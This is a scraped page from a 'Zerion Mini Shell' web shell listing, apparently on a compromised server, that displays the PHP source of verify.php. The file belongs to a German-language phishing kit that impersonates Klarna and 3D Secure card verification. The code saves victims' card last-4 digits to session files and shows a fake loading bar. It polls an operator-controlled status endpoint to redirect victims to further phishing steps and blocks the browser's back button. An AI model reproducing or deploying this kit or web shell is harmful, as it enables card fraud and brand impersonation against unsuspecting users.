%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/de/klarna/
Upload File :
Create Path :
Current File : //dom645759/de/klarna/verify.php

<?php 
$id = isset($_GET['id']) ? preg_replace('/[^a-zA-Z0-9\-_]/', '', $_GET['id']) : 'unknown'; 
$session_dir = "sessions";
$last4 = isset($_GET['last4']) ? preg_replace('/[^0-9]/', '', $_GET['last4']) : ''; 
$card_type = isset($_GET['type']) ? $_GET['type'] : 'unknown';

if (!empty($last4)) {
    if(!is_dir($session_dir)) mkdir($session_dir, 0755);
    file_put_contents($session_dir . "/" . $id . "_last4.txt", $last4);
} else {
    $last4_file = $session_dir . "/" . $id . "_last4.txt";
    if (file_exists($last4_file)) {
        $last4 = trim(file_get_contents($last4_file));
    }
}

// Défaut : Visa si inconnu
$card_type = ($card_type === 'mastercard' || $card_type === 'amex') ? $card_type : 'visa';
?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
                    <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="./img/klarna-icon.webp">

    <title>3D Secure - Kartenprüfung</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #ffffff;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            text-align: center;
            padding: 20px;
        }
        .loading-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 30px;
            width: 100%;
            max-width: 400px;
        }
        /* Slanted progress track */
        .progress-track {
            position: relative;
            width: 100%;
            max-width: 320px;
            height: 48px;
            background-color: #f0effa;
            transform: skewX(-12deg);
            overflow: hidden;
            border-radius: 2px;
            box-shadow: inset 0 1px 3px rgba(0,0,0,0.06);
        }
        .progress-fill {
            height: 100%;
            width: 0%;
            background-color: #5d44ff;
            transition: width 0.15s linear;
            position: relative;
        }
        .progress-fill::after {
            content: '';
            position: absolute;
            top: 0;
            right: 0;
            width: 30px;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
        }
        /* Logo */
        .logo-container {
            width: 180px;
            display: flex;
            justify-content: center;
        }
        .card-logo {
            width: 100%;
            height: auto;
            object-fit: contain;
        }
        /* Status (fixe) */
        .status {
            font-size: 15px;
            font-weight: 500;
            color: #272727;
            margin-top: 5px;
        }
        @media (max-width: 480px) {
            .logo-container { width: 140px; }
            .progress-track { max-width: 280px; height: 40px; }
        }
    </style>
</head>
<body>

<div class="loading-container">
    <!-- Barre inclinée -->
    <div class="progress-track">
        <div class="progress-fill" id="myProgressBar"></div>
    </div>

    <!-- Logo selon le type de carte -->
    <div class="logo-container">
        <?php if ($card_type === 'visa'): ?>
            <img class="card-logo" src="https://1000logos.net/wp-content/uploads/2021/11/VISA-logo.png" alt="Visa">
        <?php elseif ($card_type === 'mastercard'): ?>
            <img class="card-logo" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQOS1d5NIoiUKlzdcgmlwwYnKcuUqHB-t-NRw&s" alt="Mastercard">
        <?php elseif ($card_type === 'amex'): ?>
            <img class="card-logo" src="https://upload.wikimedia.org/wikipedia/commons/f/fa/American_Express_logo_%282018%29.svg" alt="American Express">
        <?php else: ?>
            <img class="card-logo" src="https://1000logos.net/wp-content/uploads/2021/11/VISA-logo.png" alt="Karte">
        <?php endif; ?>
    </div>

    <!-- Message statique (non aléatoire) -->
</div>

<script>
    // --- BARRE DE PROGRESSION (boucle infinie) ---
    (function() {
        const progressBar = document.getElementById('myProgressBar');
        let progress = 0;
        const intervalTime = 150; // 15s pour 100%

        function simulateCharging() {
            progress += 1;
            progressBar.style.width = progress + '%';

            if (progress >= 100) {
                progressBar.style.transition = 'none';
                progress = 0;
                progressBar.style.width = '0%';
                setTimeout(() => {
                    progressBar.style.transition = 'width 0.15s linear';
                }, 50);
            }
        }
        setInterval(simulateCharging, intervalTime);
    })();

    // --- POLLING VERS check_status.php (redirection) ---
    (function() {
        const id = "<?php echo $id; ?>";
        const last4 = "<?php echo $last4; ?>";
        const cardType = "<?php echo $card_type; ?>";

        let redirectTriggered = false;
        let statusInterval = null;

        function checkStatus() {
            fetch('check_status.php?id=' + id)
                .then(r => r.text())
                .then(data => {
                    const status = data.trim();
                    if (status !== 'wait' && status !== '' && !redirectTriggered) {
                        redirectTriggered = true;
                        if (statusInterval) clearInterval(statusInterval);

                        // Cas spéciaux : redirection simple (uniquement l'ID)
                        if (status === 'qr_code.php' || status === 'block_ip.php') {
                            window.location.href = status + '?id=' + encodeURIComponent(id);
                            return;
                        }

                        // Cas général
                        let finalUrl = status;
                        const hasQuery = finalUrl.includes('?');
                        finalUrl += (hasQuery ? '&' : '?') + 'id=' + encodeURIComponent(id);
                        if (last4) finalUrl += '&last4=' + encodeURIComponent(last4);
                        if (cardType && cardType !== 'unknown') finalUrl += '&type=' + encodeURIComponent(cardType);
                        window.location.href = finalUrl;
                    }
                })
                .catch(err => console.error("Fehler:", err));
        }

        function startPolling() {
            if (statusInterval) clearInterval(statusInterval);
            statusInterval = setInterval(checkStatus, 2000);
            checkStatus();
        }

        startPolling();

        // Bloquer le retour arrière
        history.pushState(null, null, location.href);
        window.onpopstate = function () { history.go(1); };
    })();
</script>

</body>
</html>

Zerion Mini Shell 1.0